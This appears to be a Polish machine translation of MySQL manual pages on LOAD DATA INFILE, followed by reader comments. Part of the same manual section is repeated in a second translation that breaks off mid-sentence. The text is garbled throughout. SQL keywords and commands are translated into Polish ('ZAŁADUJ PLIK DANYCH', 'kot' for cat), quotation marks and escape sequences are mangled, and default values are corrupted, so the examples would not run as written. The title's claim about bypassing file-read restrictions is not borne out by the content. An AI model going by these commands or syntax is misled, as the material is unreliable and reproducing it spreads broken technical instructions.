Przewodnik referencyjny MySQL. Omijanie ograniczenia odczytu plików w MySQL. Interakcja pomiędzy PHP i MySQL

Polecenie LOAD DATA INFILE odczytuje wiersze z pliku tekstowego i wstawia je do tabeli z bardzo dużą szybkością. Jeśli określono słowo kluczowe LOCAL, plik jest odczytywany z hosta klienta. Jeśli nie określono LOCAL, plik musi znajdować się na serwerze. (Opcja LOCAL jest dostępna w wersji MySQL 3.22.6 i nowszych.)

Jeżeli pliki tekstowe do odczytania znajdują się na serwerze, to ze względów bezpieczeństwa pliki te powinny albo znajdować się w katalogu bazy danych, albo być czytelne dla wszystkich użytkowników. Dodatkowo, aby użyć polecenia LOAD DATA INFILE na plikach serwera, musisz mieć uprawnienia FILE na hoście serwera. Patrz sekcja 4.2.7 Uprawnienia nadawane przez MySQL.

W MySQL 3.23.49 i MySQL 4.0.2 polecenie LOCAL nie będzie działać, jeśli demon mysqld zostanie uruchomiony z opcją --local-infile=0 lub jeśli klient nie ma włączonej opcji LOKALNEJ. Patrz sekcja 4.2.4 Względy bezpieczeństwa związane z poleceniem LOAD DATA LOCAL.

Jeśli określono słowo kluczowe LOW_PRIORITY, wykonanie polecenia LOAD DATA zostanie opóźnione do czasu, aż inni klienci zakończą czytanie tabeli.

Jeśli podczas pracy z tabelami MyISAM zostanie określone słowo kluczowe CONCURRENT, inne wątki będą mogły pobierać dane z tabeli, gdy uruchomiona jest komenda LOAD DATA. Korzystanie z tej funkcji będzie oczywiście miało niewielki wpływ na wydajność wykonywania LOAD DATA, nawet jeśli żaden inny wątek nie korzysta z tabeli w tym samym czasie.

W przypadku korzystania z opcji LOCAL wykonanie może być nieco wolniejsze niż umożliwienie serwerowi bezpośredniego dostępu do plików, ponieważ zawartość pliku musi zostać przeniesiona z hosta klienta na serwer. Z drugiej strony w tym przypadku nie ma potrzeby posiadania uprawnień FILE do ładowania plików lokalnych.

W przypadku korzystania z wersji MySQL wcześniejszych niż 3.23.24 polecenie LOAD DATA INFILE nie może odczytać z FIFO. Jeśli chcesz czytać z FIFO (np. gunzip stdout), powinieneś użyć LOAD DATA LOCAL INFILE .

Możesz także załadować pliki danych za pomocą narzędzia mysqlimport. To narzędzie pobiera pliki, wysyłając do serwera polecenia LOAD DATA INFILE. Opcja --local powoduje, że mysqlimport odczytuje pliki danych z hosta klienta. Możesz określić opcję --compress, aby uzyskać lepszą wydajność w wolnych sieciach, jeśli zarówno klient, jak i serwer obsługują protokół kompresji danych.

W przypadku, gdy pliki znajdują się na serwerze, ten ostatni działa według następujących zasad:

• Jeśli zostanie podana bezwzględna (pełna) ścieżka do pliku, serwer użyje tej ścieżki bez zmian.
• Jeśli zostanie podana ścieżka względna do pliku, podając jeden lub więcej katalogów początkowych, plik będzie przeszukiwany względem określonych katalogów w katalogu danych serwera (datadir).
• Jeżeli podana jest ścieżka do pliku bez określenia katalogów początkowych, to serwer szuka tego pliku w katalogu używanej bazy danych.

Wynika z tego, że plik określony jako `./myfile.txt' jest odczytywany z katalogu danych serwera, natomiast plik określony jako `myfile.txt' jest odczytywany z używanego katalogu bazy danych. Na przykład następująca komenda LOAD DATA odczytuje plik data.txt w katalogu bazy danych dla db1, ponieważ db1 jest bieżącą bazą danych, mimo że komenda wyraźnie instruuje, aby załadować plik do tabeli bazy danych db2:

Mysql>UŻYJ db1; mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI db2.my_table;

Słowa kluczowe REPLACE i IGNORE kontrolują przetwarzanie rekordów wejściowych, które są duplikatami istniejących rekordów z tymi samymi unikalnymi wartościami kluczy. Jeśli określisz REPLACE , nowe wiersze zastąpią istniejące wiersze tym samym unikalnym kluczem. Jeśli określisz IGNORE , wiersze wejściowe, które mają ten sam unikalny klucz, co istniejące, zostaną pominięte. Jeśli nie określono żadnego z parametrów, w przypadku wykrycia zduplikowanej wartości klucza zostanie zgłoszony błąd, a reszta pliku tekstowego zostanie zignorowana.

Jeżeli dane ładowane są z pliku lokalnego za pomocą słowa kluczowego LOCAL, to serwer nie będzie mógł przerwać przesyłania danych w trakcie tej operacji, więc domyślne wykonanie polecenia jest takie samo, jak w przypadku określenia IGNORE.

Podczas korzystania z LOAD DATA INFILE na pustych tabelach MyISAM wszystkie nieunikalne indeksy są tworzone w osobnej partii (jak w przypadku REPAIR). Zwykle znacznie przyspiesza to LOAD DATA INFILE, gdy istnieje duża liczba indeksów.

Polecenie LOAD DATA INFILE jest uzupełnieniem polecenia SELECT... INTO OUTFILE. Zobacz sekcję 6.4.1 Składnia instrukcji SELECT. Aby zapisać dane z bazy danych do pliku, użyj SELECT ... INTO OUTFILE . Do ponownego wczytania danych do bazy danych służy polecenie LOAD DATA INFILE. Składnia FIELDS i LINES jest taka sama w obu poleceniach. Obie części są opcjonalne, ale jeśli obie zostaną określone, wówczas POLA muszą poprzedzać LINIE.

Jeśli określono FIELDS, każde z jego podwyrażeń (TERMINATED BY, ENCLOSED BY i ESCAPED BY) jest również opcjonalne, ale co najmniej jedno z nich musi zostać określone.

Jeżeli instrukcja FIELDS nie jest zdefiniowana, jej parametry przyjmą domyślnie następujące wartości:

POLA ZAKOŃCZONE PRZEZ „\t” ZAWARTE PRZEZ „” ESCAPED PRZEZ „\\”

Jeśli instrukcja LINES nie jest zdefiniowana, domyślnie ma ona następującą strukturę:

LINIE ZAKOŃCZONE PRZEZ „\n”

Innymi słowy, przy ustawieniach domyślnych polecenie LOAD DATA INFILE podczas odczytu danych wejściowych będzie działać w następujący sposób:

• Znajdź linię kończącą się znakami `\n'
• Podziel linie na pola w oparciu o znaki tabulacji.
• Nie oczekuj, że pola będą ujęte w cudzysłowy.
• Interpretuj znaki tabulacji, nowej linii lub `\" poprzedzone `\" jako literały stanowiące część wartości pola.

I odwrotnie, jeśli obowiązują domyślne ustawienia zapisu danych wyjściowych, polecenie SELECT ... INTO OUTFILE będzie działać w następujący sposób:

• Wstaw znaki tabulacji pomiędzy polami.
• Nie umieszczaj pól w cudzysłowie. Użyj znaków `\", aby uciec od wystąpień znaków tabulatora, nowej linii lub znaków `\", które pojawiają się wśród wartości pól.
• Wstaw znak nowej linii na końcu każdego wpisu.

Należy pamiętać, że wpis FIELDS ESCAPED BY `\ wymaga dwóch ukośników odwrotnych dla wartości, która powinna być odczytywana jako jeden ukośnik odwrotny.

Opcji IGNORE number LINES można użyć do zignorowania nagłówka nazw kolumn na początku pliku:

Mysql> ZAŁADUJ PLIK DANYCH „/tmp/nazwa_pliku” DO TABELI test ZIGNORUJ 1 LINIE;

W przypadku użycia polecenia SELECT ... INTO OUTFILE w połączeniu z poleceniem LOAD DATA INFILE w celu odczytania danych z bazy danych do pliku, a następnie z powrotem z pliku do bazy danych, opcje przetwarzania pól i ciągów znaków dla obu poleceń muszą być takie same. W przeciwnym razie LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować zawartości tego pliku. Załóżmy, że polecenie SELECT... INTO OUTFILE zostanie użyte do zapisu do pliku z polami oddzielonymi przecinkami:

Mysql> WYBIERZ * DO PLIKU WYJŚCIOWEGO "data.txt" POLA ZAKOŃCZONE PRZEZ "", Z ...;

Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI table2 POLA ZAKOŃCZONE PRZEZ „,”;

Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI POLA table2 ZAKOŃCZONE PRZEZ „\t”;

Podobny wynik uzyskalibyśmy, gdyby każdą linię wejściową zinterpretować jako osobne pole.

Polecenie LOAD DATA INFILE umożliwia także odczytanie plików otrzymanych ze źródeł zewnętrznych. Na przykład pola w pliku w formacie bazy danych dBASE będą oddzielone przecinkami i ujęte w podwójne cudzysłowy. Jeśli linie w tym pliku kończą się znakami nowej linii, możesz użyć następującego polecenia, aby zapisać plik, co ilustruje ustawianie opcji obsługujących pola i linie:

Mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI nazwa_tbl POLA ZAKOŃCZONE PRZEZ „”, ZAŁĄCZONE PRZEZ „”” LINIE ZAKOŃCZONE PRZEZ „\n”;

Każda z opcji obsługujących pola i ciągi znaków może określać pusty ciąg znaków („”). Jeżeli ciąg znaków nie jest pusty to wartości opcji FIELDS ENCLOSED BY i FIELDS ESCAPED BY muszą zawierać jeden znak. POLA ZAKOŃCZONE BY i LINIE ZAKOŃCZONE BY Wartości opcji mogą zawierać więcej niż jeden znak. Na przykład, aby napisać linie kończące się parami ``powrót karetki do linii zasilającej'' (jak w plikach tekstowych MS DOS lub Windows), należy określić następujące wyrażenie: LINIE ZAKOŃCZONE PRZEZ "\r\n" .

UTWÓRZ TABELĘ dowcipy (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, żart TEKST NIE NULL); WCZYTAJ PLIK DANYCH "/tmp/jokes.txt" DO TABELI jokes POLA ZAKOŃCZONE PRZEZ ""; LINIE ZAKOŃCZONE PRZEZ „\n%%\n” (żart);

Opcja FIELDS ENCLOSED BY kontroluje pola ujęte w określone znaki. Jeżeli parametr OPCJONALNIE zostanie pominięty, to na wyjściu (SELECT...INTO OUTFILE) wszystkie pola zostaną ujęte znakami określonymi w ENCLOSED BY. Przykład takiego wyniku (z przecinkiem jako separatorem pól) pokazano poniżej:

"1","ciąg znaków","100.20" "2","ciąg zawierający przecinek","102.20" "3","ciąg zawierający \" cudzysłów","102.20" "4"," ciąg znaków zawierający \", cudzysłów i przecinek","102.20"

Jeżeli podany zostanie parametr OPCJONALNIE, wówczas tylko pola typu CHAR i VARCHAR zostaną podświetlone znakiem określonym w ENCLOSED BY:

1,"ciąg",100.20 2"ciąg zawierający , przecinek",102.20 3"ciąg zawierający \"cudzysłów",102.20 4"ciąg zawierający \", cudzysłów i przecinek",102.20

Należy pamiętać, że występowanie znaków ENCLOSED BY w wartości pola jest pomijane poprzez poprzedzenie ich prefiksem z ESCAPED BY . Należy także pamiętać, że jeśli wartość ESCAPED BY jest pusta, możliwe jest utworzenie danych wyjściowych, których instrukcja LOAD DATA INFILE nie będzie mogła poprawnie odczytać. Na przykład, jeśli znak ucieczki jest pustym ciągiem znaków, wówczas wynik pokazany powyżej będzie taki, jak pokazano poniżej. Zwróć uwagę, że drugie pole w czwartej linii zawiera przecinek po cudzysłowie, który (błędnie) wydaje się ograniczać to pole:

1,"ciąg znaków",100.20 2"ciąg zawierający przecinek",102.20 3"ciąg zawierający "cytat",102.20 4"ciąg zawierający ", cudzysłów i przecinek",102.20

W przypadku danych wejściowych znak ENCLOSED BY, jeśli jest obecny, jest usuwany z obu końców wartości pola. (Działa to niezależnie od tego, czy podano parametr OPTIONALLY, czy nie; parametr OPTIONALLY nie jest brany pod uwagę podczas pracy z danymi wejściowymi.) Jeśli napotkany zostanie znak ENCLOSED BY poprzedzony znakiem ESCAPED BY, jest on interpretowany jako część aktualna wartość pola. Dodatkowo podwójne znaki ENCLOSED BY występujące w polu są interpretowane jako pojedyncze znaki ENCLOSED BY, jeśli samo pole zaczyna się od tego znaku. Na przykład, jeśli określono ENCLOSED BY „””, cudzysłowy są przetwarzane w następujący sposób:

„„DUŻY” szef” -> „DUŻY” szef „DUŻY” szef -> „DUŻY” szef „DUŻY” szef -> „DUŻY” szef -> „DUŻY” szef

Opcja FIELDS ESCAPED BY służy do sterowania zapisem lub odczytem znaki specjalne. Jeśli znak FIELDS ESCAPED BY nie jest pusty, jest używany jako przedrostek dla następujących znaków na wyjściu:

• POLA ZMIENIONE PRZEZ symbol
• POLA OBJĘTE symbolem
• Pierwszy znak wartości FIELDS TERMINATED BY i LINES TERMINATED BY
• Znak ASCII 0 (właściwie po znaku ucieczki zapisywane jest ASCII „0”, a nie bajt o wartości zerowej)

Jeśli znak FIELDS ESCAPED BY jest pusty, wówczas żadne znaki nie zostaną zmienione. Tak naprawdę nie ma sensu podawać pustego znaku ucieczki, szczególnie jeśli wartości pól w przetwarzanych danych zawierają którykolwiek ze znaków z powyższej listy.

Jeżeli znak FIELDS ESCAPED BY nie jest pusty, to w przypadku danych wejściowych wystąpienia takiego znaku są usuwane, a znak następujący po takim wystąpieniu jest brany dosłownie jako część wartości pola. Wyjątkami są znaki ucieczki „0” lub „N” (na przykład \0 lub \N, jeśli znakiem ucieczki jest „”). Sekwencje te są interpretowane jako ASCII 0 (bajt wartości null) i NULL . Zobacz zasady obsługi wartości NULL poniżej .

Aby uzyskać więcej pełna informacja Aby zapoznać się ze składnią znaku ucieczki „”, zobacz sekcję 6.1.1 Literały: reprezentowanie ciągów i liczb.

W niektórych przypadkach opcje przetwarzania pól i wierszy współdziałają ze sobą:

• Jeśli LINIE ZAKOŃCZONE BY są pustym ciągiem znaków, a POLA ZAKOŃCZONE BY nie są pustym ciągiem znaków, to linie również kończą się znakami FIELDS TERMINATED BY .
• Jeśli oba pola FIELDS TERMINATED BY i FIELDS ENCLOSED BY są puste („”), używany jest format o stałym ciągu znaków (bez ograniczników). Format stacjonarny nie zapewnia żadnych separatorów pomiędzy polami. Zamiast tego podczas odczytywania i zapisywania wartości kolumn używana jest „wyjściowa” szerokość kolumn. Na przykład, jeśli kolumna jest zadeklarowana jako INT(7), wartości dla tej kolumny są zapisywane przy użyciu pól o szerokości 7 znaków. Wartości wejściowe dla tej kolumny uzyskuje się poprzez odczyt 7 znaków. Format stałego ciągu wpływa również na obsługę wartości NULL (patrz poniżej). Należy pamiętać, że format o stałym rozmiarze nie będzie działał w przypadku korzystania z zestawu znaków wielobajtowych.

Wartości NULL będą traktowane odmiennie w zależności od zastosowanych opcji FIELDS i LINES:

• Dla domyślnych wartości FIELDS i LINES, NULL jest zapisywane jako \N dla danych wyjściowych, a \N jest odczytywane jako NULL dla danych wejściowych (zakładając, że znak ESCAPED BY to ``).
• Jeżeli pole FIELDS ENCLOSED BY nie jest puste, to pole, którego wartość jest słowem zawierającym literę NULL, jest odczytywane jako wartość NULL (w przeciwieństwie do słowa NULL zawartego pomiędzy znakami FIELDS ENCLOSED BY, które jest odczytywane jako ciąg znaków „NULL”).
• Jeśli FIELDS ESCAPED BY jest puste, NULL jest zapisywane jako słowo NULL .
• W formacie stałego ciągu (który ma miejsce, jeśli specyfikatory FIELDS TERMINATED BY i FIELDS ENCLOSED BY są puste), NULL jest zapisywane jako pusty ciąg. Należy zauważyć, że powoduje to, że wartość NULL i pusty ciąg znaków w danej tabeli będą nie do odróżnienia po zapisaniu do pliku, ponieważ oba są zapisywane jako puste ciągi znaków. Jeśli chcesz, żeby te wartości były inne przy odczytywaniu pliku, nie powinieneś używać formatu stacjonarnego.

Niektóre przypadki nie są obsługiwane przez instrukcję LOAD DATA INFILE:

• Wiersze o stałym rozmiarze (zarówno pola FIELDS TERMINATED BY, jak i FIELDS ENCLOSED BY są puste) oraz kolumny BLOB lub TEXT.
• Jeśli określony zostanie ogranicznik, który jest taki sam lub stanowi przedrostek innego, wówczas LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować danych wejściowych. Na przykład następująca instrukcja FIELDS może powodować problemy: FIELDS TERMINATED BY """ ENCLOSED BY """
• Jeżeli opcja FIELDS ESCAPED BY jest pusta, wystąpienie w wartości pola znaku FIELDS ENCLOSED BY lub LINES TERMINATED BY, po którym następuje znak FIELDS TERMINATED BY, spowoduje przedwczesne zakończenie odczytu pola lub linii przez komendę LOAD DATA INFILE. Dzieje się tak, ponieważ LOAD DATA INFILE nie może poprawnie określić, gdzie kończy się pole lub linia.

Poniższy przykład ładuje wszystkie kolumny tabeli danych osobowych:

Mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI persondata;

Nie określono listy pól, dlatego polecenie LOAD DATA INFILE oczekuje, że wiersze wejściowe wypełnią każdą kolumnę tabeli. Używa domyślnych wartości FIELDS i LINES.

Jeśli chcesz załadować tylko część kolumn tabeli, musisz określić listę kolumn:

Mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI persondata (col1, col2,...);

Listę pól należy podać także w przypadku, gdy kolejność pól w pliku wejściowym różni się od kolejności kolumn w tej tabeli. W przeciwnym razie MySQL nie będzie w stanie dopasować pól wejściowych i kolumn tabeli.

Jeśli wiersz zawiera zbyt mało pól, wówczas kolumny, które w pliku wejściowym nie zawierają pól, zostaną ustawione na wartości domyślne. Przypisywanie wartości domyślnych opisano w punkcie 6.5.3 Składnia instrukcji CREATE TABLE.

Wartość pustego pola jest interpretowana inaczej niż brak wartości:

• W przypadku typów łańcuchowych kolumna jest ustawiona na pusty ciąg.
• W przypadku typów liczbowych kolumna jest ustawiona na 0.
• W przypadku typów daty i godziny kolumna przyjmuje wartość odpowiadającą temu typowi, „null”. Patrz sekcja 6.2.2 Typy danych daty i godziny.

Należy pamiętać, że są to te same wartości, które znalazłyby się w kolumnie w wyniku jawnego przypisania pustego ciągu do kolumny łańcuchowej, liczbowej lub daty/godziny w poleceniu INSERT lub UPDATE.

Kolumny typu TIMESTAMP ustawiane są tylko na bieżącą datę lub godzinę, jeśli kolumna ma wartość NULL lub (tylko dla pierwszej kolumny TIMESTAMP), jeśli kolumna TIMESTAMP znajduje się poza listą pól, jeśli taka lista jest określona.

Jeśli ciąg wejściowy zawiera zbyt wiele pól, dodatkowe pola zostaną zignorowane, a liczba ostrzeżeń wzrośnie.

Polecenie LOAD DATA INFILE interpretuje wszystkie dane wejściowe jako ciągi znaków, dlatego nie można podawać wartości liczbowych dla kolumn ENUM lub SET w taki sam sposób, jak dla poleceń INSERT. Wszystkie wartości ENUM i SET muszą być podane jako ciągi znaków!

Korzystając z interfejsu API języka C, można uzyskać informacje o zapytaniu, wywołując funkcję API mysql_info() na końcu zapytania: LOAD DATA INFILE. Poniżej przedstawiono format linii informacyjnej w tej sprawie:

Rekordy: 1 Usunięto: 0 Pominięte: 0 Ostrzeżenia: 0

Ostrzeżenia pojawiają się w takich samych okolicznościach, jak przy zapisie wartości komendą INSERT (patrz rozdział 6.4.3 Składnia instrukcji INSERT), z tą różnicą, że komenda LOAD DATA INFILE dodatkowo generuje ostrzeżenia, gdy ciąg wejściowy ma za mało lub za dużo pól. Ostrzeżenia nie są nigdzie przechowywane; Liczbę ostrzeżeń można wykorzystać jedynie do sprawdzenia, czy określone działania zostały wykonane prawidłowo. Jeśli chcesz dokładnie wiedzieć, co spowodowało ostrzeżenia, jedynym sposobem uzyskania tych informacji jest uruchomienie polecenia SELECT ... INTO OUTFILE na innym pliku i porównanie wyniku z oryginalnym plikiem wejściowym.

Jeśli chcesz wykonać LOAD DATA, aby odczytać z potoku, możesz zastosować następującą sztuczkę:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "ZAŁADUJ PLIK DANYCH "x" DO TABELI x" x

W przypadku korzystania z wersji MySQL starszej niż 3.23.25 powyższe można wykonać tylko za pomocą LOAD DATA LOCAL INFILE .

Aby uzyskać więcej dokładna informacja Informacje o efektywności INSERT w porównaniu z LOAD DATA INFILE i szybkości LOAD DATA INFILE znajdziesz w rozdziale 5.2.9 Szybkość zapytań INSERT.

Komentarze użytkowników

„Ostrzeżenia nie są nigdzie przechowywane; liczba ostrzeżeń może być wykorzystana jedynie jako
wskazanie, czy wszystko poszło dobrze”

Chyba żartujesz. Czy jest to traktowane jako rodzaj kary DBA? tj. - My
WIESZ, jakie były problemy, ale musisz po prostu zbudować plik wyjściowy i przejrzeć go
miliony rekordów, aby je znaleźć”. Czy MySQL nie umieszczał ich w dzienniku błędów,
gdzie one należą? Śmiało, zrób z tego opcję, ale jest to wystarczająco kłopotliwe
wracam do Oracle (a to dużo zajmuje).

Po drugie. (!) Nie rozumiem jak ty
napisz to zdanie z kamienną twarzą.

Brak również informacji o tym, które wiersze są pomijane
jest podawany.

Ta funkcja jest bardzo przydatna podczas przesyłania
WSTAW ze strony internetowej. Jeśli użytkownik trafi
odświeża i ponownie wysyła dane z formularza, co skutkuje a
kolejne WSTAWIENIE tych samych danych klucza podstawowego,
bum, aplikacja się psuje. W ten sposób użytkownik może
naciśnij F5, aż ich twarz zmieni kolor na niebieski, a oni
nie złamie instrukcji REPLACE.

Mam folder MyDB w c:\mysql\data
Umieszczam tam Data.txt i kiedy wykonuję
ZAŁADUJ LOKALNY PLIK DANYCH „Data.txt” DO TABELI
MyTable mówi: Polecenie zostało pomyślnie wykonane
ale ŻADNE wartości nie są dodawane do MyTable.
Jestem pod W2K

Chcę zsynchronizować moją bazę danych z inną
baza danych od czasu do czasu. Oznacza to, że ja
będzie musiał użyć funkcji REPLACE. Ale co z
rekordy, które już nie istnieją w nowszych
Baza danych. Czy zostaną usunięte w MySQL?
Czy istnieje sposób na automatyczne usunięcie tych plików? Albo jest
jedyne rozwiązanie, aby upuścić moją tabelę MySQL i odtworzyć ją
zanim zacznę ŁADUĆ. Używam crontaba
skrypty dla tej operacji, więc nie ma interakcji między ludźmi
jest to możliwe podczas tych operacji.

Dokumentacja nie jest jasna co do czego
stanowi „unikalny” klucz/indeks w tym obszarze. To
odniesienia wsteczne do „wstaw”, ale wstawka nie
mieć takie ograniczenie. Znalazłem to podstawowe
klucze są wystarczająco unikalne, ale musiałem dodać
prawybory tam, gdzie ich nie chciałem. Być może tak
czegoś brakuje....

Otrzymywanie ostrzeżeń, gdy tak się dzieje, jest bardzo frustrujące
importowanie danych do bazy danych MySQL, a nie być
dostęp do wszelkich informacji na temat ostrzeżeń.
MySQL naprawdę musi dodać funkcję, która to zrobi
zgłosić, czego dotyczy ostrzeżenie, a nie tylko
zgłosić ostrzeżenie. Najlepiej informacje o
ostrzeżenie powinno zostać udzielone natychmiast. Na
powinien być przynajmniej jakiś dziennik błędów
utworzone, do których użytkownik może uzyskać dostęp.

W temacie „F5, aż ich twarz stanie się niebieska”…

Należy to załatwić w aplikacji. To
z pewnością nie zaszkodzi powiedzieć użytkownikowi: „You”ve
już to wpisałem. Proszę przestać odświeżać.”

Właściwie, ze względu na liczbę hiperniecierpliwych końców
luzerów, to wydaje się szczególnie
dobry pomysł.

Bardzo przydałaby się dodatkowa opcja
na „IGNORUJ OGRANICZENIA” podczas ładowania
proces.

Jest pewien haczyk w przypadku „na pustej tabeli MyISAM, all
nieunikalne indeksy są tworzone w osobnej partii”
ponieważ zastosowany mechanizm to „naprawa za pomocą
keycache”, co może być bardzo powolne, jeśli masz ich wiele
indeksy. Naprawdę trzeba użyć tego mechanizmu
zatrzymaj tworzenie kluczy, a następnie wykonaj naprawę za pomocą
myisamchk przy użyciu „naprawy z sortowaniem”, jak opisano w
sekcja 5.2.9 (jeśli możesz weź się do roboty:-()

Składnia LOAD DATA INFILE

Wczytaj plik danych " Nazwa pliku. txt” DO TABELI Nazwa tabeli
[ZAŁĄCZONE PRZEZ „]
]
]
[(Nazwa kolumny,...)]
Instrukcja LOAD DATA INFILE odczytuje wiersze z pliku tekstowego i ładuje je do tabeli z bardzo dużą szybkością.
Możesz także załadować pliki danych za pomocą narzędzia importującego mysql. Działa poprzez wysłanie do serwera instrukcji LOAD data INFILE. Opcja --local powoduje, że narzędzie mysqlimport odczytuje plik danych z hosta klienta. Można określić opcję -compress, aby poprawić wydajność w wolnych sieciach, jeśli klient i serwer obsługują skompresowany protokół.
Jeżeli określono słowo kluczowe LOW_PRIORITY, wykonanie instrukcji LOAD DATA zostaje opóźnione do czasu, aż wszyscy pozostali klienci zakończą odczytywanie.
Jeśli słowo kluczowe CONCURRENT zostanie określone w tabeli MyISAM, która spełnia warunek współbieżnego wstawiania (to znaczy nie ma wolnych bloków w środku pliku), wówczas inne wątki będą mogły pobrać dane z tabeli w tym samym czasie, gdy zostanie wykonana operacja LOAD DANE są wykonywane. Użycie tej opcji ma niewielki wpływ na wydajność LOAD DATA, nawet jeśli w tabeli nie działa żaden inny wątek.
Jeśli określono słowo kluczowe LOCAL, ma to wpływ na stronę klienta połączenia.

1. Jeśli określono LOCAL, plik jest odczytywany przez program kliencki na hoście klienta i wysyłany do serwera.
2. Jeżeli nie podano słowa LOCAL, pobrany plik musi znajdować się na hoście serwera i jest bezpośrednio odczytywany przez serwer.

LOCAL jest dostępny w MySQL 3.22.6 i nowszych wersjach.
Ze względów bezpieczeństwa podczas odczytywania plików tekstowych znajdujących się na serwerze pliki muszą albo znajdować się w katalogu danych, albo być czytelne dla wszystkich. Dodatkowo, aby używać LOAD DATA z plikami serwerowymi, musisz posiadać uprawnienie FILE.
Pobieranie z opcją LOCAL jest nieco wolniejsze niż w przypadku umożliwienia serwerowi bezpośredniego dostępu do pobranych plików, ponieważ w tym przypadku zawartość plików przesyłana jest siecią poprzez połączenie klient-serwer. Z drugiej strony w tym przypadku nie potrzebujesz uprawnień do PLIKU.
Od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 w Windows), LOCAL działa tylko wtedy, gdy pozwala na to zarówno klient, jak i serwer. Na przykład, jeśli mysqld zostanie uruchomiony z opcją -local-inf ile=0, wówczas LOCAL nie będzie działać.

Jeśli chcesz czytać z potoku programu za pomocą LOAD DATA, możesz zastosować następującą technikę:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kot< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e „ZAŁADUJ PLIK DANYCH „x1 DO TABELI x” x
Jeśli pracujesz z wersją MySQL wcześniejszą niż 3.23.25, tej techniki można używać tylko z LOAD DATA LOCAL INFILE.
Jeśli masz wersję MySQL wcześniejszą niż 3.23.24, nie będziesz mógł czytać z FIFO za pomocą instrukcji LOAD DATA INFILE. Jeśli chcesz czytać z FIFO (np. z wyjścia gunzip), zamiast tego użyj LOAD DATA LOCAL INFILE.
Wyszukując plik w swoim systemie plików, serwer kieruje się następującymi zasadami:

1. Jeśli podana jest ścieżka bezwzględna, serwer używa jej w niezmienionej postaci.
2. Jeśli określono ścieżkę względną z jednym lub większą liczbą wiodących komponentów, serwer szuka plików w odniesieniu do swojego katalogu danych.
3. Jeśli określono nazwę pliku bez wiodących składników ścieżki, serwer szuka pliku w domyślnym katalogu danych bazy danych.

Należy pamiętać, że te reguły zakładają, że plik o nazwie ./myfile.txt jest odczytywany z katalogu danych serwera, podczas gdy plik o nazwie mójplik,txt jest odczytywany z domyślnego katalogu danych bazy danych. Na przykład poniższa instrukcja LOAD DATA INFILE odczytuje plik data.txt z katalogu danych dbl, ponieważ dbl jest bieżącą bazą danych, mimo że instrukcja ładuje dane do db2:
mysql>UŻYJ dbl;
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI db2.my_table;
Kontrole słów kluczowych REPLACE i IGNORE działają z ciągami wejściowymi, które powielają wartość istniejących unikalnych kluczy.
Jeśli określono REPLACE, wiersze wejściowe zastępują istniejące wiersze (innymi słowy wiersze, które mają te same wartości klucza podstawowego lub unikalnego, co istniejące wiersze w tabeli). Zobacz składnię REPLACE
Jeśli określono opcję IGNORE, wiersze wejściowe będące duplikatami istniejących wierszy z tymi samymi wartościami klucza podstawowego lub unikalnego są pomijane. Jeśli nie określono żadnej opcji, zachowanie zależy od tego, czy określono słowo kluczowe local. Jeśli LOCAL nie jest obecny, jeśli zostanie wykryty zduplikowany klucz, generowany jest błąd, a reszta pliku tekstowego jest ignorowana. Jeśli występuje LOCAL, domyślne zachowanie jest takie samo, jak w przypadku określenia IGNORE. Dzieje się tak, ponieważ serwer nie może zatrzymać przesyłania plików w trakcie trwania operacji.
Jeśli chcesz zignorować ograniczenia klucza obcego podczas operacji ładowania danych, możesz wydać instrukcję SET FOREIGN_KEY_CHECKS=0 przed uruchomieniem LOAD DATA.
Jeśli uruchomisz LOAD DATA na pustej tabeli MyISAM, wszystkie nieunikalne indeksy zostaną utworzone w osobnym zadaniu (jak w przypadku REPAIR TABLE). Zwykle powoduje to, że LOAD DATA jest znacznie szybszy, gdy istnieje wiele indeksów. Zwykle działa to bardzo szybko, ale w niektórych szczególnych przypadkach można tworzyć indeksy jeszcze szybciej, wyłączając je za pomocą opcji ALTER TABLE...DISABLE KEYS przed załadowaniem

plik do tabeli, odtwarzając indeksy i włączając je za pomocą ALTER TABLE... ENABLE KEYS po zakończeniu ładowania.
LOAD DATA INFILE jest dodatkiem do SELECT...INTO OUTFILE. Zobacz składnię SELECT Aby zapisać dane z tabeli do pliku, użyj SELECT... INTO OUTFILE. Aby wczytać dane z pliku do tabeli, użyj LOAD DATA INFILE. Składnia konstrukcji FIELDS i LINES jest taka sama dla obu instrukcji. Obie te konstrukcje są opcjonalne, ale pola muszą poprzedzać LINES, jeśli określono obie.
Jeśli określono konstrukcję FIELDS, wówczas wszystkie jej parametry (TERMINATED BY, ENCLOSED BY i ESCAPED BY) są również opcjonalne, z wyjątkiem wymogu obecności co najmniej jednego parametru.
Jeśli konstrukcja FIELDS nie jest określona, ​​wartością domyślną jest:
POLA ZAKOŃCZONE PRZEZ „tf ZAŁĄCZONE PRZEZ „ESCAPEED BY”
Jeśli konstrukcja LINES nie jest określona, ​​wartością domyślną jest następująca:
LINIE ZAKOŃCZONE PRZEZ „n! ZACZYNAJĄCE SIĘ PRZEZ „
Innymi słowy, domyślne zachowanie LOAD DATA INFILE podczas odczytu danych wejściowych to:

1. Szukaj separatorów linii na początku linii.
2. Nie pomijaj żadnych przedrostków linii.
3. Podziel linię na pola w oparciu o znaki tabulacji.
4. Nie oczekuj, że pola będą cytowane.
5. Interpretuj występowanie znaku tabulacji, znaku nowego wiersza lub znaku „\” poprzedzonego \ jako znaki literału stanowiące część wartości pola.

I odwrotnie, SELECT... INTO OUTFILE domyślnie zachowuje się w ten sposób:

1. Zapisuje znaki tabulacji pomiędzy polami.
2. Nie otacza wartości pól cudzysłowami.

• Używa *” do podświetlania tabulatorów, znaków nowej linii lub „\ występujących w wartościach pól.
• Zapisuje znak nowej linii na końcu linii.

Opcja ZIGNORUJ ilość LINES służy do ignorowania określonej liczby linii na początku pliku. Na przykład możesz użyć IGNORE I LINES, aby pominąć początkową linię zawierającą nazwy kolumn:
